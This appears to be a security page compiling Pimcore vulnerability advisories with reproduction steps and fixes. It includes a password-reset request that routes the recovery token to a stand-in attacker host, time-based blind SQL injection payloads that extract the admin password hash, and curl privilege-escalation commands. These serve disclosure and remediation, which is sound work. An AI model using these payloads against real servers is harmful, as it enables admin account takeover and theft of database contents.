See how pimcore compares to other vendors in security performance
Pimcore through 2026.3.1 contains a stored cross-site scripting vulnerability that allows authenticated backend users to inject scripts by storing unescaped URLs in ExternalImage fields. Attackers with data object edit permission can store attribute-breaking payloads that execute JavaScript in the admin origin when other users open version preview or diff views.
An SQL injection vulnerability in Pimcore admin-ui-classic-bundle through version 2.3 allows authenticated backend users to execute arbitrary SQL via the DataObject grid id column filter. The filter value is concatenated directly into the SQL WHERE clause without parameterization. An attacker with backend access can exfiltrate or modify all database contents.
Summary
An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.
Vulnerability Details
Unauthenticated Endpoint Accepts Attacker URL
The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLICSTUDIOAPI voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.
php final readonly class ResetPassword { public function construct( private string $username, private string $resetPasswordUrl // attacker-controlled, no validation ) {} }
Token Appended to Attacker URL
In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:
php $token = $this->authenticationResolver->generateTokenByUser($user); $loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;
The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.
Token Login Bypasses 2FA
src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:
php $pimcoreUser->setTwoFactorAuthentication('required', false);
Token Validity
The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.
1. Send password reset with attacker URL (no authentication needed)
http POST /pimcore-studio/api/user/reset-password HTTP/1.1 Host: TARGET Content-Type: application/json
{"username":"admin","resetPasswordUrl":"https://ATTACKERSERVER:9999/steal"} <img width="1756" height="882" alt="image" src="https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23" />
- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB
2. Confirm token was generated
Database query shows the recovery token was created:
name hastoken tokenprefix admin 1 def50200cdbd3c1292288a716c623f
3. Token login (after victim clicks the link in their email)
http POST /pimcore-studio/api/login/token HTTP/1.1 Host: TARGET Content-Type: application/json
{"token":"def50200cdbd3c1292288a716c623f...fulltoken..."}
Response:
HTTP/1.1 200 OK Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict Set-Cookie: pimcorestudioauthprofiletoken=d7a9ad; path=/; httponly; samesite=lax <img width="1756" height="679" alt="image" src="https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5" />
4. Verify full admin access with the stolen session
http GET /pimcore-studio/api/users HTTP/1.1 Host: TARGET Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419
Response: HTTP/1.1 200 OK
json {"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]} <img width="1668" height="906" alt="image" src="https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab" />
Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.
Impact
An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.
The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).
Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.
Recommended Fix
Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:
php $loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;
If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4) - Package: pimcore/studio-backend-bundle - Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)
Summary
An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.
Vulnerability Details
Exploitable: DateFilter with Fixed Named Parameters
src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:
php $key = $column->getKey(); // user-controlled, no validation $dateCondition = '' . $key . ' ' . ' BETWEEN :minTime AND :maxTime'; $listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);
Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.
Same Pattern in Note FilterService
src/Note/Service/FilterService.php lines 64-67:
php $dateCondition = '' . $filter[$propertyKey] . ' ' . ' BETWEEN :minTime AND :maxTime'; $list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);
No Validation on Column Key
src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.
Why Backtick Wrapping is Not Escaping
Manual backtick wrapping ( '' . $key . '' ) does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:
Input: key = "id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "
Produces: sql (id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- BETWEEN :minTime AND :maxTime)
Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.
Contrast with Safe Patterns in the Same Codebase
- LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe) - ClassificationStore/Configuration/KeyRepository.php: uses ALLOWEDSORTKEYS allowlist (safe)
Note on EqualsFilter/LikeFilter
The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.
Step 1: Baseline request (no injection)
http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>
{"page":1,"pageSize":10}
Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds
<img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" />
Step 2: Unconditional SLEEP(3) injection
http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds
<img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" />
<img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" />
The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:
sql SELECT id FROM websitesettings WHERE (id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- BETWEEN :minTime AND :maxTime) ORDER BY id ASC LIMIT 50
Step 3: Conditional SLEEP proving data extraction (TRUE case)
This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.
http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)
<img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" />
<img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" />
Step 4: Conditional SLEEP (FALSE case, wrong guess)
Same query but testing for XXXX (hex 0x58585858) instead:
http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)
<img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" />
Timing comparison
| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |
By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.
Impact
An authenticated user with websitesettings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.
Directly extractable high-value data: - Admin password hashes (users.password) for offline cracking - Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token - Session data for session hijacking - All PIM product data, CMS content, and asset metadata
Affected Endpoints
All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:
- POST /pimcore-studio/api/website-settings - POST /pimcore-studio/api/notifications - POST /pimcore-studio/api/recycle-bin - POST /pimcore-studio/api/redirects - POST /pimcore-studio/api/translations/{domain} - POST /pimcore-studio/api/quantity-value/units - POST /pimcore-studio/api/properties - POST /pimcore-studio/api/classification-store/{storeId}/keys - POST /pimcore-studio/api/classification-store/{storeId}/groups - POST /pimcore-studio/api/classification-store/{storeId}/collections - GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)
Recommended Fix
Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:
php // Option 1: quoteIdentifier (doubles internal backticks) $db = \Pimcore\Db::get(); $dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';
// Option 2: allowlist (preferred) private const ALLOWEDCOLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate']; if (!inarray($key, self::ALLOWEDCOLUMNS, true)) { throw new InvalidArgumentException('Invalid filter column'); }
Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11 - MySQL general query log confirms injected SQL reaches the database - The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202 - Package: pimcore/studio-backend-bundle
Summary The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().
Details
Issue 1 — Incorrect permission guard on CreateController
studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:
php #[IsGranted(UserPermissions::DATAOBJECTS->value)]
The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATAOBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.
Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.
Correct guard: php #[IsGranted(UserPermissions::CLASSES->value)]
Issue 2 — No UID format validation at the API layer
studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:
php public function construct( private string $name, private string $uid ) { if (trim($name) === '' || trim($uid) === '') { throw new InvalidArgumentException('Class name and UID cannot be empty.'); } }
Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.
Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:
php if (!pregmatch('/^[a-zA-Z0-9][a-zA-Z0-9]$/', trim($this->uid))) { throw new InvalidArgumentException( sprintf('Invalid UID for class definition: %s', $this->uid) ); }
Affected files in pimcore/studio-backend-bundle: - src/Class/Controller/DefinitionConfiguration/CreateController.php - src/Class/MappedParameter/CreateClassDefinitionParameters.php
Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create
PoC
Prerequisites: - Pimcore 2026.1.x with Studio API enabled - A user editor with only the objects permission and no classes permission
Step 1 — Authenticate as the editor user:
bash curl -s -c /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"password"}'
Expected response: json {"message": "Login successful"}
Step 2 — Confirm the user has no class management access in Classic Admin
Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.
Step 3 — Create a class definition via the Studio API despite lacking the classes permission:
bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \ -H "Content-Type: application/json" \ -d '{"name":"UnauthorizedClass","uid":"testuid1"}'
Expected response (vulnerable): json {"id": "testuid1", "name": "UnauthorizedClass", ...}
The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.
Expected response (patched): json {"status": 403, "detail": "Access denied."}
Impact Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.
The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.
- Authentication required from attacker: Yes - valid Pimcore session with objects permission required - Authentication required from victim: No - no victim action needed - What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server
Pimcore CMS/DXP version 12.3.8 contains a sandbox bypass vulnerability that allows authenticated administrative attackers to execute arbitrary methods on PHP objects by exploiting empty checkMethodAllowed() and checkPropertyAllowed() implementations in the custom Twig SecurityPolicy. Attackers can supply malicious Twig templates through the DataObject ClassDefinition Layout\Text component to perform arbitrary file reads, execute arbitrary database queries, and potentially achieve remote code execution via PHP object gadget chains, with the pimcore function wildcard further broadening the bypass to all Pimcore Twig functions.
An authenticated attacker with permission to edit document content can store crafted HTML/JavaScript in a Document embed editable and cause script execution when the published page is rendered.
This issue affects pimcore: v12.3.3.
Pimcore is an Open Source Data & Experience Management Platform. In versions up to and including 11.5.14.1 and 12.3.2, the filter query parameter in the dependency listing endpoints is JSON-decoded and the value field is concatenated directly into RLIKE clauses without sanitization or parameterized queries. Exploiting this issue requires admin authentication. An attacker with admin panel access can extract the full database including password hashes of other admin users. Version 12.3.3 contains a patch.
Summary The application fails to enforce proper server-side authorization checks on the API endpoint responsible for managing "Favourite Output Channel Configurations." Testing revealed that an authenticated backend user without explicitely lacking permissions for this feature was still able to successfully invoke the endpoint and modify or retrieve these configurations. This violates the principle of least privilege and constitutes a classic example of Broken Access Control (OWASP Top 10 A01:2021). Because authorization is not validated at the function level, any authenticated user can perform actions intended only for privileged roles, leading to horizontal or vertical privilege escalation.
Detail The backend user without permission was still able to list, create, update "Favourite Output Channel Configuration" item
Step to Reproduce the issue login as Admin (full permission) and clicked "Favourite Output Channel Configurations" <img width="949" height="860" alt="Screenshot 2025-12-10 at 8 52 55 PM" src="https://github.com/user-attachments/assets/86554e7e-86c1-469f-b09b-5f360c4507dd" /> Then, captured and saved the request: -List API <img width="923" height="662" alt="Screenshot 2025-12-10 at 8 55 49 PM" src="https://github.com/user-attachments/assets/21d90540-7a6b-4555-bbc0-ce74284dda67" /> -Create API <img width="1245" height="783" alt="Screenshot 2025-12-10 at 9 01 46 PM" src="https://github.com/user-attachments/assets/38b5a771-ad17-459b-84e1-fe83c6d609a1" /> -Update API <img width="1244" height="726" alt="Screenshot 2025-12-10 at 9 03 00 PM" src="https://github.com/user-attachments/assets/2167d48e-8941-4fff-be07-3050ffa7ad35" />
Next, login a backend user with no permission <img width="1219" height="744" alt="Screenshot 2025-12-10 at 9 06 12 PM" src="https://github.com/user-attachments/assets/6b3981bc-4fe0-4c6e-8a5b-24523679ad4c" /> The copy the "Cookie" and "X-Pimcore-Csrf-Token" <img width="1902" height="971" alt="Screenshot 2025-12-10 at 9 10 47 PM" src="https://github.com/user-attachments/assets/4f48f27a-6149-49fb-9209-220c2e62c25f" /> After that, pasted the copied "Cookie" and "X-Pimcore-Csrf-Token" to captured request - List API <img width="1135" height="660" alt="Screenshot 2025-12-10 at 9 14 47 PM" src="https://github.com/user-attachments/assets/32ebdad2-771a-41dd-a4e6-13e8cb8ef201" /> - Create API <img width="1140" height="697" alt="Screenshot 2025-12-10 at 9 16 43 PM" src="https://github.com/user-attachments/assets/25d5b7a9-5e96-4e7c-94cf-3c9c3d31e7f1" /> - Update API <img width="1144" height="722" alt="Screenshot 2025-12-10 at 9 19 00 PM" src="https://github.com/user-attachments/assets/02440595-2e10-44a8-9fb7-8eb8f0aab12a" />
Impact Successful exploitation allows low-privileged or standard users to view, create, modify that should be restricted to specific administrative or operational roles. Depending on the sensitivity of these configurations (e.g., routing of alerts, reports, or data streams), an attacker could redirect critical outputs, suppress notifications, insert misleading channels, or gain insight into internal workflows. In regulated environments, this may result in compliance violations, operational disruption, or facilitation of further attacks through reconnaissance.
Summary The application fails to enforce proper server-side authorization checks on the API endpoint responsible for reading or listing static routes. In Pimcore, static routes are custom URL patterns defined via the backend interface or the var/config/staticroutes.php file, including details like regex-based patterns, controllers, variables, and priorities. These routes are registered automatically through the PimcoreStaticRoutesBundle and integrated into the MVC routing system. Testing revealed that an authenticated backend user lacking explicit permissions was able to invoke the endpoint (e.g., GET /api/static-routes) and retrieve sensitive route configurations. This violates OWASP A01:2021 Broken Access Control, as function-level authorization is absent, allowing unauthorized access to internal routing metadata. Without validation, the endpoint exposes route structures, potentially revealing application architecture, endpoints, or custom logic intended for administrative roles only.
Details The backend user without permission was still able to list "Static Routes" item
Step to Reproduce the issue login as Admin (full permission) and clicked "Static Routes" <img width="945" height="858" alt="Screenshot 2025-12-10 at 9 36 04 PM" src="https://github.com/user-attachments/assets/3d4ce400-9bc2-493e-a899-60d5f42ad307" /> Then, captured and saved the request: -List API <img width="1122" height="570" alt="Screenshot 2025-12-10 at 9 44 17 PM" src="https://github.com/user-attachments/assets/81dfb589-fe5d-46ed-b5ee-869a49c08557" />
Next, login a backend user with no permission <img width="1219" height="744" alt="Screenshot 2025-12-10 at 9 06 12 PM" src="https://github.com/user-attachments/assets/1dada4c4-d907-4477-9773-70dea3ef5816" />
The copy the "Cookie" and "X-Pimcore-Csrf-Token" <img width="1902" height="971" alt="Screenshot 2025-12-10 at 9 10 47 PM" src="https://github.com/user-attachments/assets/63221682-fa14-429b-8665-fc9dd8bed890" />
After that, pasted the copied "Cookie" and "X-Pimcore-Csrf-Token" to captured request
-List API <img width="1132" height="829" alt="Screenshot 2025-12-10 at 9 47 27 PM" src="https://github.com/user-attachments/assets/4edea3d1-f5d9-4758-9a07-e9d484c92864" />
Impact Exploitation enables low-privileged users to enumerate static routes, gaining reconnaissance into URL patterns, associated controllers, and parameter handling, which could facilitate targeted attacks like path traversal, injection via exposed variables, or discovery of hidden administrative paths. In a Pimcore environment, this might expose site-specific routing for multi-tenant setups, leading to unauthorized data access, workflow manipulation, or escalation to broader system compromise. Business impacts include intellectual property leakage of custom routing logic, regulatory non-compliance (e.g., GDPR for exposed configs), and increased attack surface for chaining with other vulnerabilities.
Summary The API endpoint for listing Predefined Properties in the Pimcore platform lacks adequate server-side authorization checks. Predefined Properties are configurable metadata definitions (e.g., name, key, type, default value) used across documents, assets, and objects to standardize custom attributes and improve editorial workflows, as documented in Pimcore's official properties guide. Testing confirmed that an authenticated backend user without explicit permissions for property management could successfully call the endpoint and retrieve the complete list of these configurations. This exemplifies Broken Access Control (OWASP Top 10 A01:2021), enabling unauthorized access to administrative features and potentially violating role-based access controls inherent to Pimcore's multi-user environment.
Details The backend user without permission was still able to list "Predefined Properties" item
Step to Reproduce the issue login as Admin (full permission) and clicked "Predefined Properties" <img width="1493" height="862" alt="Screenshot 2025-12-10 at 10 11 31 PM" src="https://github.com/user-attachments/assets/005d2704-347c-4aa1-b415-d52ab3794c99" />
Then, captured and saved the request: - List API <img width="922" height="797" alt="Screenshot 2025-12-10 at 10 39 53 PM" src="https://github.com/user-attachments/assets/2ee3e0e1-06da-442f-b2c7-0dfa8360c04a" />
Next, login a backend user with no permission <img width="1219" height="744" alt="Screenshot 2025-12-10 at 9 06 12 PM" src="https://github.com/user-attachments/assets/1dada4c4-d907-4477-9773-70dea3ef5816" />
The copy the "Cookie" and "X-Pimcore-Csrf-Token" <img width="1902" height="971" alt="Screenshot 2025-12-10 at 9 10 47 PM" src="https://github.com/user-attachments/assets/63221682-fa14-429b-8665-fc9dd8bed890" />
After that, pasted the copied "Cookie" and "X-Pimcore-Csrf-Token" to captured request
-List API !Uploading Screenshot 2025-12-10 at 10.55.23 PM.png…
Impact Exploitation allows low-privileged users to enumerate all Predefined Properties, exposing internal metadata schemas, default values, and configuration details that may reveal business logic, data classification strategies, or sensitive defaults (e.g., proprietary keys or select options). In a PIM system like Pimcore, this could facilitate reconnaissance for further attacks, such as targeted data manipulation or privilege escalation, leading to unauthorized alterations of asset/object properties. For organizations handling regulated content (e.g., e-commerce catalogs under GDPR or PCI DSS), such exposure risks compliance breaches, intellectual property leakage, and operational inconsistencies from unintended property overrides.
Summary The httperrorlog file stores the $COOKIE and $SERVER variables, which means sensitive information such as database passwords, cookie session data, and other details can be accessed or recovered through the Pimcore backend.
Details It’s better to remove both lines, as this information makes little sense in this context anyway.
https://github.com/pimcore/pimcore/blob/12.x/bundles/SeoBundle/src/EventListener/ResponseExceptionListener.php#L92 https://github.com/pimcore/pimcore/blob/12.x/bundles/SeoBundle/src/EventListener/ResponseExceptionListener.php#L93
PoC In the Pimcore backend, navigate to "Search Engine Optimization" and click on "HTTP Errors." Double-click on an entry to view its details. Here, you may find sensitive data exposed.
Impact Pimcore backend users can access sensitive environment variables, potentially exposing critical information.
Summary An incomplete SQL injection patch in the Admin Search Find API allows an authenticated attacker to perform blind SQL injection. Although CVE-2023-30848 attempted to mitigate SQL injection by removing SQL comments (--) and catching syntax errors, the fix is insufficient. Attackers can still inject SQL payloads that do not rely on comments and infer database information via blind techniques. This vulnerability affects the admin interface and can lead to database information disclosure.
Details The vulnerability exists in the Admin Search Find API endpoint: /admin/search/search/find In CVE-2023-30848, the following patch was applied:
- SQL comments are removed by replacing -- - SQL syntax errors are caught and replaced with a generic exception
Relevant commit: https://github.com/pimcore/pimcore/commit/25ad8674886f2b938243cbe13e33e204a2e35cc3
Key changes include: // remove sql comments $fields = strreplace('--', '', $fields);
try { $hits = $searcherList->load(); } catch (SyntaxErrorException $syntaxErrorException) { throw new \InvalidArgumentException('Check your arguments.'); } However, this mitigation is incomplete for the following reasons:
1. Only -- is filtered
SQL injection does not require SQL comments. Payloads using boolean conditions, SQL functions, or time-based expressions remain effective.
2. Exception handling only suppresses error output
While syntax errors no longer produce detailed error messages, the underlying SQL query is still executed. This allows attackers to perform blind SQL injection.
3. User-controlled input is still used in SQL query construction The fields[] parameter is attacker-controlled and can be abused to inject SQL expressions into the generated query.
As a result, attackers can craft payloads that do not trigger syntax errors and still influence SQL execution. PoC The following request demonstrates a blind SQL injection via the fields[] parameter.
Boolean-based Blind Injection GET /admin/search/search/find?query=2& fields[]=field1 AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)=1~field2& filter=[{"property":"value"}]& class=classname Time-based Blind Injection GET /admin/search/search/find?query=2& fields[]=field1 AND IF(1=1,SLEEP(5),0)~field2& filter=[{"property":"value"}]& class=classname Observed behavior:
- When the condition is true, the response is delayed (e.g., ~5 seconds)
- When the condition is false, the response is returned immediately
This confirms that injected SQL expressions are executed successfully. Impact This is a Blind SQL Injection vulnerability.
- Affected users: Systems exposing the Admin Search Find API to authenticated users
- Attack requirements: Authenticated access to the admin interface
- Potential impact:
- Database schema enumeration - Extraction of sensitive data via blind SQL injection - Potential full database compromise depending on database privileges
This issue demonstrates that the fix for CVE-2023-30848 is incomplete.
Summary An HTML injection issue allows users with access to the email sending functionality to inject arbitrary HTML code into emails sent via the admin interface, potentially leading to session cookie theft and the alteration of page content.
Details The vulnerability was discovered in the /admin/email/send-test-email endpoint using the POST method. The vulnerable parameter is content, which permits the injection of arbitrary HTML code during the email sending process. While JavaScript code injection is blocked through filtering, HTML code injection remains possible.
PoC To reproduce the vulnerability, a user must fill out the email's content form with the desired HTML payload. !send-test-mail-text
Impact !mail-text
This HTML injection vulnerability can potentially enable phishing attacks by allowing the insertion of any html like fake login forms, etc. All functionalities that process user input should be carefully reviewed to ensure that data is appropriately encoded as HTML entities in server responses. For instance, a reflected input paramete like <h1> just a test </h1> <p> <img> should be displayed in the HTML response as <h1> just a test </h1> <p> <img>.
Summary Authenticated users can craft a filter string used to cause a SQL injection.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. This code does not look to sanitize inputs: https://github.com/pimcore/pimcore/blob/c721a42c23efffd4ca916511ddb969598d302396/models/DataObject/ClassDefinition/Data/Extension/RelationFilterConditionParser.php#L29-L47
c.f. with https://github.com/pimcore/pimcore/blob/c721a42c23efffd4ca916511ddb969598d302396/models/DataObject/ClassDefinition/Data/Multiselect.php#L332-L347
PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.
Impact What kind of vulnerability is it? Who is impacted?
Description Summary
Pimcore Admin Classic Bundle allows attackers to enumerate valid accounts because the Forgot password functionality uses different messages when the account is valid vs not.
Details -> error message discloses existing accounts and leads to user enumeration on the target via "Forgot password" function. since no generic error message is being implemented.
PoC !image
Enter first a valid account email address and click on submit !image
A green message validating the account exists is shown and a login link is sent to the email !image
now go back and use a random email from temp-mail to test with a non existant account !image
!image
click on submit and get an error in red that a problem occured !image
Impact user enumeration is a confidentiality threat , that could potentially lead to an attacker to enumerate valid accounts and maybe taking over accounts in case combined with credential stuffing on an organisation .
A remedition would be to change the error message in both cases ( valid and invalid emails ) to what we call a "synchronised error " it would be for example : " if the given email address is linked to an account , then a login link would be sent to that email " or something along those lines
A vulnerability, which was classified as critical, has been found in Pimcore customer-data-framework up to 4.2.0. Affected by this issue is some unknown functionality of the file /admin/customermanagementframework/customers/list. The manipulation of the argument filterDefinition/filter leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.2.1 is able to address this issue. It is recommended to upgrade the affected component.
A vulnerability classified as problematic was found in Pimcore 11.4.2. Affected by this vulnerability is an unknown functionality of the component Search Document. The manipulation leads to basic cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
Pimcore is an open source data and experience management platform. When a PortalUserObject is connected to a PimcoreUser and "Use Pimcore Backend Password" is set to true, the change password function in Portal Profile sets the new password. Prior to Pimcore portal engine versions 4.1.7 and 3.1.16, the password is then set without hashing so it can be read by everyone. Everyone who combines PortalUser to PimcoreUsers and change passwords via profile settings could be affected. Versions 4.1.7 and 3.1.16 of the Pimcore portal engine fix the issue.
Summary
